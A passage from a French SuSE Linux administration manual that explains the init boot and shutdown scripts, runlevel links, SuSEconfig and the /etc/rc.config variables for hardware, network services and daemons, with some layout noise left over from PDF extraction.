s'ils doivent être utilisés dans différents niveaux d'exécu- tion. Comme chacun de ces scripts peut être lancé aussi bien comme script de démarrage que comme script d'arrêt, ils doivent tous pouvoir comprendre les deux paramètres possibles start et stop . Exemple Le script /sbin/init.d/rc2.d/K40network est lancé lorsque l'on quitte le runlevel 2 ; /sbin/init.d/rc lance le script /sbin/init.d/network avec le paramètre stop . Lorsque l'on passe au runlevel 3, c'est le même script qui est lancé mais cette fois-ci avec le paramètre start . Les liens dans les différents sous-répertoires spécifiques aux niveaux d'exé- cution ne servent donc qu'à permettre d'attribuer chacun des scripts à certains niveaux d'exécution. Boot et Dans ce qui va suivre, vous trouverez une brève description des premiers et Shutdown des derniers scripts d'amorçage et d'arrêt ainsi que du script de commande : ~ boot Il est exécuté au démarrage du système et lancé directement par init . Il est indépendant du niveau d'exécution par défaut que l'on souhaite et n'est exécuté qu'une seule et unique fois. Ici, le démon kerneld qui assure le 448 ____________________________________________________________________________________________________17.4.__Les_scripts_init_* *______________________ chargement automatique des modules du noyau est lancé. Les systèmes de fichiers sont vérifiés, d'éventuels fichiers superflus sous /var/lock sont effacés et le réseau pour le périphérique loopback est configuré dans la mesure ou ceci est indiqué dans /etc/rc.config. En outre, l'horloge du système est réglée et le matériel Plug-and-Play est configuré avec les outils isapnp (voir paragraphe 10.2.1 page 294). Si lors de la vérification et de la restauration automatiques des systèmes de fichiers il se produit une grave erreur, l'administrateur système a la possi- bilité, après avoir tapé le mot de passe root, de résoudre manuellement le problème. Le répertoire /sbin/init.d/boot.d est en outre attribué à ce script. Tous les scripts commençant par `S' qui ont été trouvés dans ce réper- toire sont exécutés automatiquement lors du démarrage du système. C'est l'emplacement idéal pour vos propres extensions qui ne doivent être acti- vées qu'une seule fois lors du démarrage. Le script boot.local sera exécuté en dernier. ~ boot.local Il est possible d'indiquer ici d'autres actions qui devront se faire avant que le système ne change de niveau d'exécution ; de par ses fonctions, il est plus ou moins comparable au fichier AUTOEXEC.BAT bien connu sous DOS. ~ boot.setup Configurations de base à effectuer si l'on passe du mode mono-utilisateur dans n'importe quel autre niveau d'exécution. La disposition du clavier et la configuration de la console sont chargées ici. ~ halt Ce script n'est exécuté que lors de l'entrée dans le runlevel 0 ou 6. Il est lancé soit sous le nom halt, soit sous le nom reboot. Selon le nom sous lequel halt a été lancé, le système sera soit redémarré, soit complètement arrêté. ~ rc C'est le script principal qui est lancé à chaque changement de niveau d'exécution. Il exécute les scripts d'arrêt du niveau d'exécution que l'on quitte et ensuite les scripts de démarrage du nouveau niveau d'exécution. Vous pouvez, à l'aide de ce concept, ajouter vos propres scripts ; le fichier Scripts /sbin/init.d/skeleton vous en fournit la charpente. Pour diriger l'exé- personnels cution d'un script au moyen de /etc/rc.config, il est nécessaire d'y posi- tionner une variable qui sera utilisée dans votre propre script. Des paramètres supplémentaires ne devraient être ajoutés dans /etc/rc. config que dans certains cas particuliers où cela est justifié (voir par exemple le script /sbin/init.d/gpm). Vous devez maintenant créer des liens pointant du répertoire rc correspondant sur le nouveau script afin que celui-ci ~ comme il a été décrit plus haut (pa- ragraphe 17.3 page 447) ~ soit exécuté lors du changement de niveau d'exé- cution ; c'est là que les noms à donner aux liens sont explicités. Les détails techniques sont exposés dans la page de man de init.d (man 7 init.d ). * * 449 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Vous devez vous montrer extrêmement prudent en créant vos propres * * |||| || scripts ~ un script erroné est capable de ``planter'' votre machine. Voir plus * * |||| | haut paragraphe 17.2 page 446 au cas où plus rien ne fonctionnerait : : : * * |||| |_______________________________________________________________________________________________________* *________|||_ 17.5 /etc/rc.config et SuSEconfig La quasi-totalité de la configuration de SuSE Linux peut être réalisée au moyen du fichier de configuration central /etc/rc.config. Ce fichier contient toute une série de variables d'environnement qui sont utilisées, entre autre, par les scripts init. Chacun des scripts sous /sbin/init.d charge en premier le fichier /etc/rc.config pour reprendre les valeurs actuellement valides des différentes variables. ________________________________________________________________________________________________________* *________|| | Depuis la version 6.0 de SuSE Linux, les paquetages offrant des possibi- * * |||| | * * ||| | lités étendues de configuration stockent leurs variables dans des fichiers * * ||| | situés dans le répertoire /etc/rc.config.d. C'est le cas par exemple du * * ||| | * * ||| | paquetage i4l (ISDN). Par la suite il ne sera plus parlé, pour simplifier, * * ||| | que de /etc/rc.config bien qu'il s'agisse de variables qui ont été trans- * * ||| | * * ||| | férées dans des fichiers situés sous /etc/rc.config.d ! * * ||| |_______________________________________________________________________________________________________* *________|||_ Outre cela, il est possible de générer de nombreux autres fichiers de configura- tion système en relation avec /etc/rc.config. Cette tâche est assumée par /sbin/SuSEconfig . Ainsi par exemple, après une modification de la configu- ration réseau, le fichier /etc/resolv.conf sera recréé car il est dépendant du type de la configuration. Si vous apportez donc des modifications à /etc/rc.config, vous devrez toujours ensuite lancer SuSEconfig pour vous assurer que vos configurations sont effectives à tous les emplacements essentiels. Si vous modifiez la confi- guration avec YaST , vous n'aurez pas besoin de vous en occuper vous-même. YaST lance automatiquement SuSEconfig , ce qui a pour effet de mettre à jour les fichiers concernés. Ce concept vous permet d'apporter des modifications fondamentales à la configuration de votre machine sans être obligé de la réamorcer. Comme cer- tains paramétrages changent radicalement beaucoup de choses, il est toutefois possible que vous deviez relancer certains programmes afin que ces modifica- tions soient prises en compte. Cette procédure est décrite par exemple au para- graphe concernant la configuration du réseau (voir paragraphe 5.2 page 158) qui montre que l'utilisation de la commande terre: # /sbin/init.d/network stop terre: # /sbin/init.d/network start provoque le redémarrage des programmes concernés par la modification. Ainsi que vous pouvez le constater, il est possible de lancer manuellement les scripts init. En règle générale, il est recommandé, pour la configuration du système, d'adopter la méthode suivante : ~ Mettez votre système en ``mode mono-utilisateur'' : terre: # init S 450 _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems_________* *______________________ Vous avez aussi l'alternative d'utiliser le runlevel 1 qui vous donne en outre la possibilité de vous connecter sur plusieurs consoles : terre: # init 1 ~ Apportez au fichier de configuration /etc/rc.config les modifications que vous souhaitez. Ceci peut se faire à l'aide de n'importe quel édi- teur ou avec YaST sous l'option du menu `Modifier le fichier de configuration' (voir paragraphe 17.6). ~ Exécutez SuSEconfig afin que les modifications soient prises en compte dans les différents autres fichiers de configuration. Cela se fait automati- quement si vous avez modifié le fichier /etc/rc.config avec YaST . ~ Ramenez votre système dans son niveau d'exécution précédent : terre: # init 2 Cette procédure n'est bien sûr nécessaire que si vous avez apporté des modi- fications radicales à la configuration de votre système (par exemple configu- ration réseau). Lorsqu'il s'agit de tâches simples, il n'est pas indispensable, pour l'administration, de passer en ``mode mono-utilisateur''. Vous pouvez toutefois vous assurer ainsi que vraiment tous les programmes concernés par la modification sont relancés. _______________________________________________________________________________________________________________________|| |||||||| Pour désactiver radicalement la configuration automatique via SuSEcon- ||| | |||||||| || | |||||||| fig , vous pouvez positionner la variable || | |||||||| dans le fichier /etc/rc.config (voir cependant l'avertissement à la pré- || | |||||||| || | |||||||| sente page). Il est également possible, au moyen de variables rc.config || | |||||||| appropriées ``d'invalider'' seulement partiellement la configuration auto- || | |||||||| || | |||||||| matique. || | ||||||||_______________________________________________________________________________________________________________||_ 17.6 Les variables /etc/rc.config Ce qui suit est une brève description des différents paramètes du système et de leur configuration. Si vous ne manipulez pas les fichiers de configuration /etc/rc.config avec YaST , prenez soin d'écrire un paramètre vide sous forme de deux caractères de guillemets à la suite l'un de l'autre (par exemple KEYTABLE="" ) et de mettre entre guillemets les paramètres contenant des espaces. Pour les variables qui ne sont composées que d'un seul mot, les guillemets ne sont pas nécessaires. Dans la description qui suit, chaque paramètre a été pourvu d'une valeur afin de rendre plus claires, à l'aide de cet exemple, les configurations possibles. Configurations de base ~ ENABLE_SUSECONFIG=yes Détermine si SuSEconfig doit se charger de la configuration. À ne désac- tiver en aucun cas si vous voulez bénéficier des services de l'Assistance Technique à l'Installation ;-) ~ MAIL_REPORTS_TO=tux Détermine à qui SuSEconfig doit envoyer par E-mail des rapports sur l'administration du système. * * 451 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ~ GMT=-u Si votre horloge matérielle est réglée sur GMT (Greenwich Mean Time), positionnez cette variable à -u 4 , sinon laissez-la vide. Cette configuration est essentielle pour le passage automatique de l'heure d'été à l'heure d'hiver et vice versa. ~ TIMEZONE=CET La zone horaire dans laquelle vous habitez ou dans laquelle vous utilisez votre machine. Essentielle aussi pour le passage automatique de l'heure d'été à l'heure d'hiver et vice versa. ~ LANGUAGE="french" Cette variable est positionnée par YaST lorsqu'une modification a lieu avec `Déterminer la langue' (voir paragraphe 3.3.1 page 83). Cette valeur est considérée comme ``fallback'' lorsque LANG ou les variables LC_* ne sont pas positionnées (voir ci-dessous). Dans un tel cas, la va- leur ici indiquée est définie au moyen du fichier /usr/share/locale/ locale.alias. ~ RC_LANG="de_DE" Positionne LANG pour locale . On peut ici déterminer une valeur par défaut pour les utilisateurs locaux. Cette valeur reste effective aussi longtemps qu'il n'est pas utilisé de variables spéciales RC_LC_* . Les variables rc.config sont : RC_LC_ALL (elles peuvent écra- ser les variables LC_* et LANG !), RC_LC_MESSAGES , RC_LC_CTYPE , RC_LC_MONETARY , RC_LC_NUMERIC , RC_LC_TIME et RC_LC_COLLATE * * . Voir page de man de locale (man 5 locale ). ~ ROOT_USES_LANG="no" Les configurations de locale doivent-elles aussi être utilisées pour `root' ? ~ INIT_SCRIPT_USE_LANG="no" Utiliser locale dans les scripts init ? Ce n'est pas recommandable ;-) ~ ENABLE_SYSRQ="no" Un coup d'oeil à l'intérieur du noyau. Avant utilisation, lire absolument /usr/src/linux/Documentation/sysrq.txt ! Initialiser le matériel local(clavier, modem, souris, PCMCIA, etc.) ~ KEYTABLE=fr-latin1 Définit la disposition des touches du clavier. ~ KBD_NUMLOCK=no |___________|NumLockne doit pas être utilisée lors de l'amorçage. ~ KBDCAPSLOCK=no |_____________|CapsLockne doit pas être utilisée lors de l'amorçage. ~ KBD_TTY="tty1 tty2 tty3 tty4 tty5 tty6" |___________|NumLocket |C____________|_apsLockpeut être limité à certains TTYs. Une entrée ne comportant que des guillemets "" représente tous les TTYs. _____________________________________________4 -u est une abréviation pour universal time. 452 _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________* *____________________ ~ KBD_RATE=30 Détermine la vitesse de répétition automatique du clavier. Les spécifica- tions possibles sont de 2 à 30 fois par seconde. Afin que cette configura- tion soit effective, la durée du délai (voir KBD_DELAY ) doit également être déterminée ! ~ KBD_DELAY=250 Vous pouvez spécifier ici le délai après lequel la fonction automatique de répétition entre en jeu. La valeur est indiquée en millièmes de seconde, mais l'échelle n'est pas très précise. Vous devez également configurer KBD_RATE ! ~ CONSOLE_FONT=mr.fnt La police de caractères chargée pour la console. Les caractères accen- tués ne sont pas supportés par toutes les polices ! Avec YaST , vous pouvez essayez facilement plusieurs polices de caractères et choisir celle qui vous convient le mieux. Les paramètres supplémentaires sont : CONSOLE_SCREENMAP , CONSOLE_UNICODEMAP et CONSOLE_MAGIC . ~ MODEM=/dev/ttyS1 L'interface à laquelle le modem est connecté. YaST ou SuSEconfig édite un lien pointant de /dev/modem sur le périphérique spécifié. ~ MOUSE=/dev/ttyS2 L'interface à laquelle la souris est connectée. YaST ou SuSEconfig édite un lien pointant de /dev/mouse sur le périphérique spécifié. ~ START_GPM=yes Contrôle si le support souris pour la console est démarré. Il est ainsi possible, avec la souris, d'échanger du texte entre les différentes consoles virtuelles. Gpm pose des problèmes en relation avec certaines souris bus. Si la souris vous crée des difficultés lorsque vous utilisez X, vous devriez empêcher le lancement de gpm . Ou alors utilisez simplement xdm car dans le runlevel 3 gpm n'est, par principe, jamais lancé. ~ GPM_PARAM=" -t logi -m /dev/mouse" Le paramètre de démarrage pour gpm . C'est normalement YaST qui s'en charge. ~ PCMCIA=i82365 Sert à définir le chipset ; les valeurs sont i82365 ou tcic . Si la variable est positionnée à "" le sous-système PCMCIA n'est pas démarré. Il est possible d'affiner la configuration avec les variables PCMCIA_PCIC_OPTS et PCMCIA_CORE_OPTS . ~ START_ISAPNP=yes Initialiser ISA PnP lors de l'amorçage. ~ INITRD_MODULES="aic7xxx" Les noms des modules qui doivent être chargés pendant l'amorçage du noyau afin de permettre par exemple l'accès au disque dur. Les entrées utiles et indispensables sont faites au cours de l'installation ou de la mise à jour. Voir le paragraphe 16.2 page 424. ~ START_KERNELD=yes Cette variable contrôle si le démon kerneld est lancé automatiquement au * * 453 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ moment de l'amorçage du noyau 2.0.xx. Ce démon fait en sorte que les modules du noyau soient chargés automatiquement lorsqu'ils sont requis. Avec le noyau standard actuel 2.2.xx, kerneld n'est plus nécessaire. Vous trouverez au paragraphe 13.2 page 361 une brève introduction au concept des modules. Démarrer et configurer les services réseau et les services locaux ~ START_LOOPBACK=yes Détermine si une sorte de mini-réseau doit être installé par la configura- tion du périphérique dit loopback. Comme de nombreux programmes ont besoin de cette fonctionnalité, elle devrait absolument être activée5 . ~ CHECK_ETC_HOSTS=yes Détermine si SuSEconfig doit vérifier /etc/hosts et le cas échéant le modifier. ~ BEAUTIFY_ETC_HOSTS=no Dans le cas où le contenu de /etc/hosts doit être classé. ~ SETUPDUMMYDEV=no Détermine si le pseudo périphérique (dummy device) doit être configuré ; utile dans le cas de connexions réseau non permanentes (par exemple SLIP ou PPP). C'est parfois gênant si vous avez une carte Ethernet. ~ CREATE_HOSTCONF=yes Détermine si SuSEconfig doit vérifier /etc/host.conf et le cas échéant le modifier. ~ CREATE_RESOLVCONF=yes Détermine si SuSEconfig doit vérifier /etc/resolv.conf et le cas échéant le modifier. Si cette variable est positionnée à yes et si l'une des variables LISTE_DE_RECHERCHE ou SERVEUR_DE_NOMS est vide, on présume que vous ne voulez pas de serveur de noms de domaines et que /etc/resolv.conf peut être effacé. Si cette variable est positionnée à no , /etc/resolv.conf demeure inchangé. ~ NETCONFIG=_0 Indique le nombre de cartes réseau (ou autres périphériques réseau) que la machine possède. Ceci est un exemple pour une carte réseau (elles sont numérotées à partir de 0). Dans le cas d'une machine possédant deux cartes, l'entrée devrait être NETCONFIG="_0 _1" . Si la machine ne possède pas de carte réseau, l'entrée reste vide. ~ IPADDR_0=193.141.17.202 L'adresse IP pour la première carte réseau. ~ NETDEV_0=eth0 Le nom du premier périphérique réseau (habituellement une carte réseau Ethernet, ce qui explique l'entrée eth0 ). D'autres entrées possibles sont str1 ou plip1 . Si la machine dispose de plus d'une carte réseau, les va- riables NETDEV`1 à NETDEV`3 seront renseignées de façon analogue. _____________________________________________5 Le noyau doit naturellement offrir un support réseau ! 454 _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________* *____________________ ~ IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255 netmask 255.255.255.192" La commande de configuration pour le permier périphérique réseau. Les opérations nécessaires peuvent être effectuées aisément avec YaST . Si vous possédez plus d'une carte réseau, insérez ici les lignes de com- mandes dans les autres variables. ~ CLOSE_CONNECTIONS=false Si cette variable est positionnée à true et si le ``runlevel'' est 0 ou 6 (halt ou reboot ), /sbin/init.d/route envoie un SIGTERM à tous les processus qui ont une connexion ``remote tcp'' ou ``udp'' ouverte. ~ IP_DYNIP=no Activer le ``dynamic IP patch'' lors de l'amorçage. Si la variable est po- sitionnée à yes , le script /sbin/init.d/boot active ce patch par une entrée dans le système de fichiers /proc. ~ IP_TCP_SYNCOOKIES=yes Activer la protection contre les attaques ``Syn Flood'' (angl. syn flood protection). ~ IP_FORWARD=no Si la machine doit transmettre à travers deux interfaces réseau, la variable IP_FORWARD doit être positionnée à yes . Ceci est généralement souhai- table, voire indispensable, pour un ``routeur'' ou pour ``IP Masquerade''. Le script /sbin/init.d/boot active la fonction ``IP Forwarding'' par une entrée dans le fichier /proc. ~ FQHOSTNAME=terre.cosmos.univers Le nom d'hôte ``pleinement qualifié'' de la machine ce qui signifie ici ``intégral'', c'est-à-dire le nom complet composé du nom d'hôte de la machine et du nom du domaine. ~ SEARCHLIST=cosmos.univers Cette entrée est utilisée pour compléter un nom d'hôte qui n'est pas plei- nement qualifié. Si par exemple le nom de la machine est vénus, il sera vérifié si vénus.cosmos.univers est un nom de machine valide. Cette variable doit absolument être renseignée si vous voulez utiliser DNS ! In- diquez ici au moins votre nom de domaine. Vous pouvez faire jusqu'à trois entrées dans la ``liste de recherche'' et elles doivent être séparées les unes des autres par des espaces. ~ NAMESERVER=193.141.17.193 Le serveur de noms qui est interrogé lorsqu'il faut convertir un nom de machine en une adresse IP. Vous pouvez spécifier jusqu'à trois serveurs de noms dont les adresses sont séparées les unes des autres par des espaces. Si vous voulez utiliser un serveur de noms, vous devez aussi renseigner la variable SEARCHLIST ! ~ ORGANIZATION="Tartempion, Trifouillis-les-Oies" Ce texte apparaît dans chaque message Usenet provenant de la machine concernée. ~ NNTPSERVER=soleil.cosmos.univers L'adresse du serveur de news. Si vous vous procurez vos news par UUCP et si elles sont stockées localement, vous devriez entrer ici hôte local * * 455 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ~ IRCSERVER=soleil.cosmos.univers Vous pouvez spécifier ici plusieurs serveurs IRC (Internet Relay Chat). Les noms des différents serveurs doivent être séparés les uns des autres par des espaces. ~ START_INETD=yes Active le superdémon inetd . Ce démon réagit aux demandes de connexion d'autres machines et démarre, dépendamment du port choisi, le service correspondant. Ceci vous est nécessaire si vous voulez vous connecter sur la machine via telnet ou rlogin ~ Positionnez toutefois START_INETD à no si xinetd doit être utilisé (voir présente page). ~ START_XINETD=no Active le superdémon xinetd , le superdémon inetd étendu (voir pré- sente page). Si cet ``extended Internet services daemon'' doit être utilisé, START_INETD doit être positionnée à no ~ SENDMAIL_xxxx= Les variables sendmail sont explicitées au paragraphe 6.8 page 205. ~ START_POSTFIX=no Active le serveur de mail postfix . S'applique aussi aux variables POSTFIX_CREATECF , POSTFIX_RELAYHOST , POSTFIX_MASQUERADE_DOMAIN et POSTFIX_LOCALDOMAINS . ~ SMTP=no Détermine si un démon sendmail doit être lancé. Ceci n'est pas néces- saire si vous recevez votre courrier exclusivement via UUCP à condition que vous lanciez sendmail -q après chaque polling (le rmail lancé par UUCP mettra seulement le courrier dans la file d'attente sans le distri- buer). Dans un réseau où les répertoires de spool courrier sont montés via NFS et où chaque machine n'a que du courrier sortant, cette variable peut être positionnée à no . Il en est de même si si vous utilisez un ``Relay Host''. ~ START_PORTMAP=no Détermine si le portmapper doit être lancé. Vous avez besoin du portmap- per si votre machine doit faire office de serveur NFS (voir paragraphe 5.5 page 167). Sans le portmapper, les démons rpc.mountd et rpc.nfsd ne peuvent pas tourner. Pour cette raison, le portmapper sera lancé si le SERVEUR NFS est activé même si cette variable est positionnée à no . Pour l'utilisation de NIS (voir paragraphe 5.4 page 165) le portmapper est également nécessaire ! ~ NFS_SERVER=no Si votre machine doit faire office de serveur NFS, cette variable doit être positionnée à yes . Ceci provoque le lancement des démons rpc.nfsd et rpc.mountd . Pour une description plus détaillée d'un serveur NFS (par exemple pour la détermination des répertoires à exporter), lisez le para- graphe 5.5 page 167. ~ REEXPORT_NFS=no Positionnez la variable à yes pour réexporter des répertoires NFS montés ou des volumes NetWare. 456 _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________* *____________________ ~ NFS_SERVER_UGID=no Si le démon (rcp.ugidd ) pour la conversion des ID utilisateurs et des ID groupes doit être lancé. Ce service doit être démarré sur le client NFS concerné. ~ USE_KERNEL_NFSD="no" Lorsque le paquetage knfsd est installé, le démon NFS du noyau peut être utilisé. Ce démon NFS rend le verrouillage possible. Voir la variable USE_KERNEL_NFSD_NUMBER . ~ START_AMD=no Démarrez le démon d'automontage. Si aucune raison ne s'y oppose, vous devriez donner la préférence au module du noyau autofs (voir présente page). ~ START_AUTOFS=no Avec ce démon, il est possible de monter aussi bien des répertoires ac- cessibles via NFS que des répertoires locaux (lecteurs de CD-ROM, dis- quettes, etc :) en mode automatique. Le paquetage autofs, série n doit être installé et configuré. ~ START_RWHOD=no Détermine si rwhod doit être lancé. Attention, rwhod émet régulière- ment des ``broadcasts'' (diffusions). Ceci peut provoquer l'établissement de communications lors de connexions à la demande (ISDN et/ou diald ) ~ et entraîner des dépenses ! ~ START_ROUTED=no Le démon routed est seulement nécessaire pour le routage dynamique (voir page de man de routed (man routed )). Attention, ce service pro- voque toutes les 30 secondes un trafic réseau. Si la machine est connectée à Internet par ligne téléphonique (dialup) (par exemple ISDN), il n'y a aucun avantage à positionner cette variable à yes . ~ START_NSCD=yes Initialiser NSCD (angl. Name Service Caching Daemon) lors de l'amor- çage. ~ START_NAMED=no Détermine si le démon de service de noms (named ) doit être lancé. ~ CREATE_YP_CONF=yes Détermine si SuSEconfig , en fonction des deux entrées suivantes, doit générer automatiquement les fichiers nécessaires pour utiliser YP(voir paragraphe 5.4 page 165). En outre, les fichiers /etc/passwd et /etc/ group seront adaptés dans la mesure où ce sera encore nécessaire. ~ YP_DOMAINNAME=cosmos.univers Le nom de domaine YP de la machine. Pour des informations plus dé- taillées, reportez-vous au paragraphe 5.4 page 165. ~ YP_SERVER=soleil.cosmos.univers Le nom du serveur NIS. ~ USE_NIS_FOR_RESOLVING=no Utiliser NIS pour la résolution des noms de machines. * * 457 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ~ START_CIPED=no Démarrer le démon CIPE pour un tunnel IPIP. ~ START_DHCPD=no Démarrer le serveur pour DHCP (angl. Dynamic Host Configuration Protocol). Inclut les variables DHCPD_INTERFACE , START_DHCRELAY et DHCRELAY_SERVERS . ~ START_LDAP=no Démarrer le serveur LDAP. ~ START_RADIUSD=yes Démarrer le service d'authentification et de comptabilisation du démon radius . Ce service est utilisé, par exemple, par certains serveurs d'accès pour l'authentification de l'utilisateur. Voir la documentation sous /usr/ doc/packages/radiusd. ~ START_LPD=yes Lancer lpd (angl. Line Printer Daemon). Ceci est en général indispen- sable pour l'impression. ~ START_NNTPD=yes Lancer nntpd , nécessaire pour garantir l'accès via NNTP au news locales. ~ START_INN=no Démarrer le serveur INN . ~ START_ATD=yes Détermine si le démon AT (atd ) doit être lancé. Ce démon permet de faire exécuter certains jobs à un moment qui aura été précisé. Contrairement au démon cron, il n'exécute qu'une seule fois une action définie. ~ START_HTTPD=yes Indique si le démon apache http doit être lancé. ~ START_HTTPSD=yes Détermine si le serveur Apache httpsd (serveur web ``sûr'') doit être dé- marré avec SSL et PHP3. ~ START_SQUID=no Indique si squid doit être lancé. ~ DOC_HOST="" Si un serveur de documentation central mettant à disposition le système d'aide SuSE doit être utilisé, le nom de ce serveur devrait être indiqué ici, par exemple "soleil.cosmos.univers" . ~ DOC_SERVER=no Sur le serveur de documentation, cette variable doit être positionnée à yes . D'une part, l'accès à http-rman sera accordé en fonction des spéci- fications dans DOC_ALLOW (voir plus bas). D'autre part les fichiers index pour le serveur HTTP seront convertis ; ils ne pointeront plus sur http:// localhost mais sur http://`hostname-f`.http://`hostname-f`. ~ DOC_ALLOW="LOCAL" Liste des machines/domaines, pour /etc/hosts.allow, autorisés à ac- céder au serveur de documentation. Cette variable ne sera utilisée que si DOC_SERVER est positionnée à yes . On peut également indiquer ici un sous-domaine (par exemple avec ".cosmos.univers" ) 458 _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________* *____________________ ~ HTTP_PROXY="" Quelques programmes (par exemple lynx , arena ou wget ) peuvent utiliser des serveurs proxy si cette variable d'environnement est positionnée en conséquence. SuSEconfig peut la positionner dans /etc/SuSEconfig/* (voir dans la SDB http://sdb.suse.de/sdb/en/html/lynx_proxy. html). Exemple : "http ://proxy.provider.de :3128/" . ~ FTP_PROXY="" Proxy pour FTP. Exemple : "http ://proxy.provider.de :3128/" . ~ GOPHER_PROXY="" Proxy pour Gopher. Exemple : "http ://proxy.provider.de :3128/" . ~ NO_PROXY="" Cette variable permet d'exclure certains (sous-)domaines du proxy. Exemple : "www.me.de, do.main, localhost" . ~ START_HYLAFAX=no Démarre Hylafax. Avant que cette variable ne soit positionnée à yes , faxsetup doit être exécuté. ~ START_SMB=no Démarre le serveur Samba ; serveur de fichiers et d'imprimantes Win- dows. ~ START_MARSNWE=no Indique si l'émulation du serveur Novell doit être démarrée. ~ START_SSHD=yes Lancez le ``démon Secure Shell'' et assurez-vous auparavant qu'il existe une clé dite ``host key'' ~ voir à ce sujet la documentation sous /usr/doc/ packages/ssh ainsi que les pages de man. ~ START_XNTPD=yes Lance le ``démon Network Time Protocol (NTP)'' provenant du paquetage xntp ; la configuration elle-même se fait à travers le fichier /etc/ntp. conf. Les horloges radio ont des adresses de cette forme : 127.127.T.U . Ici T tient la place du type de l'horloge et U celle du ``numéro d'uni- té'' (angl. unit number) situé dans une zone de 0 à 3 . ~ Ces horloges, pour la plupart, requièrent un port série ou un bus spécial. Le fichier de + périphérique prévu à cet usage est normalement référencé par un lien symbolique /dev/device-U pointant sur le périphérique matériel. U doit alors concorder avec le ``numéro d'unité'' mentionné plus haut. Voir aussi /usr/doc/packages/xntp/html/refclock.htm. Exemple : Si vous avez une horloge radio connectée sur un port série, il vous faut aussi un lien symbolique approprié. refclock.htm vous fait savoir quel doit être le nom de ce lien. ~ Les récepteurs DCF77 usuels sont gérés par le pilote ``PARSE'' ## Type 8 Generic Reference Driver (PARSE) ## Address: 127.127.8.u ## Serial Port: /dev/refclock-u * * 459 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Si vous sélectionnez le serveur 127.127.8.0 par une entrée de ntp.conf, il vous faut aussi un lien symbolique pointant de /dev/ refclock-0 sur ttySx ~ Le port sur lequel l'horloge est connectée est ici représenté par x . ~ XNTPD_INITIAL_NTPDATE="" Liste des serveurs NTP qui donnent la possibilité d'obtenir l'heure avant que le serveur local ne soit démarré, par exemple "soleil.cosmos.univers". Si vous avez indiqué plusieurs serveurs, leurs noms doivent être séparés par un espace. ~ DISPLAYMANAGER="" Décrit comment le login doit se faire : sur la console texte ou en mode gra- phique sous le système X Window. Les valeurs possibles sont xdm (ges- tionnaire d'affichage standard du système X Window), kdm (gestionnaire d'affichage de KDE) ou "" . Dans le dernier cas, il est présumé que l'on ne souhaite pas un login en mode graphique et que la machine est démarrée dans le runlevel 2 (console texte). C'est la valeur par défaut. ~ KDM_SHUTDOWN=root Indique quels utilisateurs sont autorisés à arrêter la machine au moyen de kdm (reboot ou shutdown). Les valeurs possibles sont root (`root' doit s'identifier avec son mot de passe), all (tous les utilisateurs), none (personne ne peut arrêter la machine au moyen de kdm ) et local (la machine ne peut être arrêtée que si l'utilisateur se connecte localement et non par le réseau). Si la variable est positionnée à "" la valeur root sera prise comme valeur par défaut. ~ CONSOLE_SHUTDOWN=reboot Indique comment_le processus_init _réagit_si l'on fait la combinaison de touches |______C|trl+ |____A|lt+ |_______S|uppr. Les valeurs possibles sont reboot (la machine s'arrête et réamorce), halt (la machine s'arrête et reste arrêtée) et ignore (la pression de la combinaison de touches ne produit aucun effet). La valeur par défaut est reboot . ~ START_AXNET=no Serveur pour Applixware. ~ START_MYSQL=no Serveur pour MySQL . ~ START_ADABAS=no Serveur pour Adabas . Les variables suivantes se rapportent à Adabas :DBROOT , DBNAME , DBUSER et DBCONTROL ~ voir les commentaires dans rc. config. ~ START_DB2=no Serveur pour DB2. ~ START_ARKEIA=no Serveur de sauvegarde Arkeia ~ START_ARGUS=no Serveur pour Argus (moniteur réseau). ~ ARGUS_INTERFACE=eth0 L'interface qui doit être contrôlée par Argus . 460 _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems_________* *______________________ ~ ARGUS_LOGFILE="/var/log/argus.log" Le fichier de trace (log) Argus . Ce fichier peut devenir très gros ! ~ CRON=yes Contrôle le démarrage et l'arrêt du démon cron. Ce démon lance certains programmes à des heures qui ont été précisées. Le démon cron est lancé dans les runlevels 2 et 3 ! Il est fortement conseillé de l'activer sur des ma- chines qui tournent 24 heures sur 24. Le démon AT offre une alternative ou un complément. (voir page 458). _______________________________________________________________________________________________________________________|| |||||||| Il existe toute une série d'options qui rendent nécessaire le lancement ré- ||| | |||||||| gulier de certains programmes. Pour cette raison, le démon cron devrait || | |||||||| || | |||||||| être activé sur chaque système. || | ||||||||_______________________________________________________________________________________________________________||_ Sécurité et services de maintenance locaux ~ RUN_UPDATEDB=yes Détermine si la base de données pour locate (locate ) doit être ac- tualisée une fois par nuit. locate sert à retrouver rapidement des fi- chiers dans le système. Il est possible d'apporter des retouches à upda- tedb au moyen des variables RUN_UPDATEDB_AS , UPDATEDB_NETPATHS , UPDATEDB_NETUSER et UPDATEDB_PRUNEPATHS (voir les commentaires dans rc.config). ~ Cette actualisation peut se faire peu de temps après l'amorçage, à un moment o votre machine ne tourne pas sans interruption. Voir le paragraphe 16.6.1 page 442. ~ REINIT_MANDB=yes Lorsque la base de données de la page de man doit être quotidiennement renouvelée par cron.daily . ~ CREATE_INFO_DIR=yes Détermine si le fichier /usr/info/dir qui constitue un index pour toutes les pages info existantes doit être créé automatiquement. Ceci est utile après l'installation d'un paquetage qui contient une page info. Notez que pour l'utilisation de cette fonction perl doit être installé ! ~ CHECK_PERMISSIONS=set Détermine si les permissions des fichiers doivent être vérifiées à l'aide de /etc/permissions. Avec set , les configurations erronées seront corri- gées, avec warn il ne sera émis que des ``avertissements'' et avec no , cette fonction sera désactivée. ~ PERMISSION_SECURITY="easy local" Dans /etc/permissions.paranoid, /etc/permissions.secure et /etc/permissions.easy, trois niveaux de sécurité sont prévus. Indi- quez ici easy , secure ou /etc/permissions.paranoid . Vous pouvez faire vos propres configurations, par exemple dans /etc/permissions. local, 